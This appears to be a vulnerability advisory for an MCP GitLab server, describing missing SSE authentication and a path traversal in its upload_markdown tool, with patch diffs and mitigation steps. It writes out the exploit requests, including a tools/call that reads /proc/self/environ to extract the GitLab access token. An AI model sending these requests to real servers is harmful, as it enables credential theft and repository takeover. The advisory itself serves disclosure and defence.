Sep 16, 2026·8 min read·3 visits
Unauthenticated remote attackers can read sensitive local container files and hijack GitLab accounts by abusing exposed Server-Sent Events endpoints and path traversal in the upload_markdown tool of @zereight/mcp-gitlab.
CVE-2026-61560 is a critical security vulnerability in the @zereight/mcp-gitlab Server-Sent Events (SSE) server. By utilizing default, unauthenticated route setups and exposing vulnerable administrative tools, remote attackers can execute path traversal attacks to read internal process variables and hijack GitLab operations.
The Model Context Protocol (MCP) functions as a standardized integration layer between Large Language Models (LLMs) and local or cloud-based data sources. Within deployments leveraging the @zereight/mcp-gitlab server, the application translates complex LLM directives into structured API actions targeting a target GitLab server. Because these operations require substantial privilege levels, the server maintains highly privileged credentials—specifically GitLab Personal Access Tokens (PATs)—which permit broad write and configuration actions across repositories, CI/CD pipelines, and project boards.
To allow remote client applications to issue commands to the server, the application features an optional Server-Sent Events (SSE) network transport mode activated via the SSE=true configuration flag. When running in this state, the application launches an Express-based HTTP server listening on port 3002. In pre-patched iterations, the application binds directly to the default interface (0.0.0.0), exposing the execution endpoints to any network-capable attacker. Critically, these endpoints implement no access controls or operational authorization, granting unauthenticated requestors access to the registered tools of the MCP server.
Among the registered administrative tools, the server exposes the upload_markdown utility. This utility is intended to read local files containing Markdown formatting and push them directly to target GitLab projects. Because the utility handles user-supplied file path definitions without verification, it introduces an arbitrary local file read vulnerability. When chained with the lack of authentication on the transport routes, remote attackers can read internal files, extract the stored Personal Access Tokens, and fully compromise the associated GitLab repositories.
The vulnerability architecture comprises two distinct systemic failures that form a unified attack chain: missing route-level authentication (CWE-306) and unvalidated path resolution in a file-read wrapper (CWE-22).
The first failure is located in the startup sequence of the Express web application inside index.ts. When configured with SSE=true, the application instantiates the server but registers the endpoints /sse and /messages without applying security middleware. The framework processes any HTTP requests received on these paths and hands them off directly to the Model Context Protocol execution flow. Consequently, any network-based client can invoke internal methods, effectively bypassing administrative intent.
The second failure occurs within the execution handler of the upload_markdown tool. The tool receives arguments containing a user-controlled file_path property. Below is a representation of the vulnerable file-reading pattern:
async function uploadMarkdown(args: { file_path: string, project_id: string }) {
// The user-supplied path is passed directly to the filesystem library
const content = fs.readFileSync(args.file_path, 'utf8');
// Upload execution code continues...
}Because the path argument is passed to fs.readFileSync without traversing sanitizers, directory limits, or canonical checks (such as verifying that the absolute resolved path resides within a trusted workspace directory), the function will read any file accessible to the operating system user executing the process.
In standard Docker deployments of @zereight/mcp-gitlab, the container ran as the root user. This permitted the application to read system-restricted paths. By supplying the target path /proc/self/environ, attackers can query the running environment variables of the active process. Because the container deployment requires the application to host the GITLAB_PERSONAL_ACCESS_TOKEN directly in its environment context, the system serves the secret token directly back to the unauthenticated attacker, completing the credentials theft chain.
The vulnerability is addressed in version 2.1.27 via commit e436ee4ad067b64584ec9312c9e9c9a2641c1976. The patch implements a defense-in-depth approach spanning transport access control, loopback constraints, and container privilege reduction.
First, the container configuration has been modified to enforce a loopback-only binding strategy in the default docker-compose templates, preventing unauthorized external exposure:
File: docker/docker-compose.yaml
@@ -2,7 +2,7 @@ services:
gitlab-mcp:
image: zereight050/gitlab-mcp:latest
ports:
- - 3002:3002
+ - 127.0.0.1:3002:3002Second, the execution user has been dropped from high-privilege root to the restricted node user account in the Docker configuration, limiting systemic filesystem visibility:
File: Dockerfile
@@ -23,4 +23,6 @@ EXPOSE 3002
RUN npm ci --ignore-scripts --omit-dev
+USER node
+
ENTRYPOINT ["node", "build/index.js"]Third, an Express authentication middleware layer has been added to intercept incoming requests before executing target methods:
File: index.ts
@@ -12242,15 +12267,25 @@ function registerDownloadProxy(
*/
async function startSSEServer(): Promise<void> {
const app = express();
+ const sseAuthToken = getConfig("sse-auth-token", "SSE_AUTH_TOKEN");
if (MCP_TRUST_PROXY) {
app.set("trust proxy", 1);
}
+ const requireSseAuth = (req: Request, res: Response, next: NextFunction) => {
+ if (!sseAuthToken) return next();
+
+ const match = /^Bearer\s+(\S+)$/i.exec(req.headers.authorization || "");
+ if (match?.[1] === sseAuthToken) return next();
+
+ res.status(401).json({ error: "SSE authentication required" });
+ };
+
const transports: { [sessionId: string]: SSEServerTransport } = {};
let shuttingDown = false;
- app.get("/sse", async (_: Request, res: Response) => {
+ app.get("/sse", requireSseAuth, async (_: Request, res: Response) => {
const serverInstance = createServer();
const transport = new SSEServerTransport("/messages", res);
transports[transport.sessionId] = transport;
@@ -12260,7 +12295,7 @@ async function startSSEServer(): Promise<void> {
await serverInstance.connect(transport);
});
- app.post("/messages", async (req: Request, res: Response) => {
+ app.post("/messages", requireSseAuth, async (req: Request, res: Response) => {
const sessionId = req.query.sessionId as string;
const transport = transports[sessionId];
if (transport) {While this patch implements robust parameter validation and access restrictions, the foundational path traversal bug inside the upload_markdown execution function itself remains unmitigated. The fs.readFileSync call still operates on arbitrary paths without validating directory constraints. Consequently, if the authentication token is compromised, bypassed, or bypassed via Local Request Forgery, the local filesystem remains accessible to validated users.
Exploitation of CVE-2026-61560 requires direct TCP routing to the target server's exposed SSE port. The attacker follows a multi-phase approach to authenticate, execute the arbitrary file read, and retrieve the results.
First, the attacker initiates a Server-Sent Events session against the endpoint. This creates an execution session context in the memory of the Node.js application, which returns a tracking parameter designated as sessionId:
GET /sse HTTP/1.1
Host: target-mcp-server:3002
Accept: text/event-streamSecond, upon parsing the SSE initialization response, the attacker captures the generated session tracking value. Utilizing this identifier, the attacker sends a POST message triggering the vulnerable tool to execute a read command against targeted system files:
POST /messages?sessionId=e2f81a7b-3b48-4cb2-8d76-ff630d6bf43a HTTP/1.1
Host: target-mcp-server:3002
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "upload_markdown",
"arguments": {
"file_path": "/proc/self/environ",
"project_id": "123456",
"branch": "main",
"commit_message": "Exfiltration Run"
}
}
}Once received, the server attempts to execute the upload_markdown utility. It reads the raw contents of /proc/self/environ using the running privilege of the node process. It then executes an authorized API call to upload this file as a commit or markdown block to the associated GitLab project workspace, exposing the process variables to the attacker.
The impact of CVE-2026-61560 is rated critical, represented by an aggregate CVSS score of 9.8. This rating reflects the lack of prerequisite authentication, simplicity of execution, and complete loss of administrative boundaries for both local processes and external integrations.
The disclosure of GITLAB_PERSONAL_ACCESS_TOKEN grants attackers full API permissions matching those of the compromised user account. This credentials exposure enables extensive unauthorized actions, including downloading proprietary repositories, modifying continuous integration pipelines (potentially introducing supply chain compromises), and altering branch protections. This access level effectively bypasses standard perimeter controls.
Furthermore, system operators must address the remaining code paths. Because the patch introduces authentication at the entry point of the route handler rather than correcting the directory boundaries inside upload_markdown, any user who obtains legitimate access to the SSE_AUTH_TOKEN can read system-accessible files. In containerized environments where multiple developer tools query a single MCP deployment, this allows horizontal privilege escalation across internal container resources.
To address this vulnerability, administrators and development teams must implement the following remediation actions. The primary remediation strategy is upgrading the @zereight/mcp-gitlab installation to version 2.1.27 or higher, which enforces access limits on SSE configurations.
If you cannot apply the upgrade immediately, apply these configuration mitigations:
HOST=127.0.0.1 in the system environment.SSE_AUTH_TOKEN environment variable with a strong, randomly generated token. Ensure all authorized client programs append this token as a Bearer authorization header when executing requests.SSE_DANGEROUSLY_ALLOW_UNAUTHENTICATED_REMOTE=true in active production environments, as doing so explicitly disables the implemented route authorization checks.Security teams can verify vulnerability status by running tests against host deployments. Monitor HTTP ingress paths for POST actions directed to /messages that contain directory traversal indicators (such as .., proc, or etc). If you observe indicators of compromise, immediately invalidate any active GITLAB_PERSONAL_ACCESS_TOKEN associated with the container configuration.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@zereight/mcp-gitlab zereight | < 2.1.27 | 2.1.27 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 / CWE-306 |
| Attack Vector | Network |
| CVSS Score | 9.8 |
| EPSS Score | 0.00703 |
| EPSS Percentile | 51.56% |
| Exploit Status | PoC / Conceptual |
| KEV Status | Not Listed |
The software uses external input to construct a pathname that is intended to identify a file or directory that is located under a restricted directory, but the software does not properly neutralize special elements within the pathname.
A critical access control vulnerability in djust prior to 1.0.7 exposes diagnostic endpoints and remote method-invocation capabilities to unauthorized network actors. The vulnerability arises due to decoupling IP boundary validation into an opt-in middleware that was omitted from official configuration documentation, leaving views to rely solely on the status of Django's DEBUG flag.
The multi-tenant isolation mechanism in djust prior to version 1.0.7 fails open on active WebSocket and Server-Sent Events (SSE) connections. Because the tenant context is stored in thread-local variables and initialized exclusively via HTTP middleware, asynchronous event loops executing ASGI/WebSocket code paths do not carry the resolved tenant identifier. When queries are executed without this context, the default database manager fails open, allowing authenticated users of any tenant to query and read sensitive rows across all other tenant accounts.
LMDeploy prior to version 0.10.2 is vulnerable to remote code execution because its AsyncRPCServer component implements unauthenticated, remote-accessible communication sockets and uses the insecure pickle.loads() deserializer to process incoming requests.
CVE-2026-68904 is a high-severity Denial of Service (DoS) vulnerability in the node-opcua library. It arises from a logical flaw in the keepalive session manager combined with incorrect socket termination at the TCP transport layer. When server-side anomalies occur, affected clients fall into an infinite, high-frequency reconnection loop. Due to the use of graceful teardown (socket.end) instead of immediate termination (socket.destroy) during negotiation failures, sockets remain open in the FIN-WAIT-2 state. This accumulates system file descriptors and memory, eventually crashing the client process.
CVE-2026-61593 is a high-severity Cross-Site Request Forgery (CSRF) vulnerability discovered in the Server-Sent Events (SSE) transport layer of djust, an open-source framework that implements Phoenix LiveView-style reactive server-side rendering for Django applications. Before version 1.0.7, a lack of origin verification on the SSE stream endpoint, combined with @csrf_exempt decorators on message POST endpoints, allowed an attacker to hijack active client sessions through cross-origin interactions.
An untrusted search path vulnerability (CWE-426) in the OpenTelemetry.Resources.Host NuGet package on macOS allows a local attacker to execute arbitrary code with elevated privileges by hijacking standard system commands such as sh and ioreg.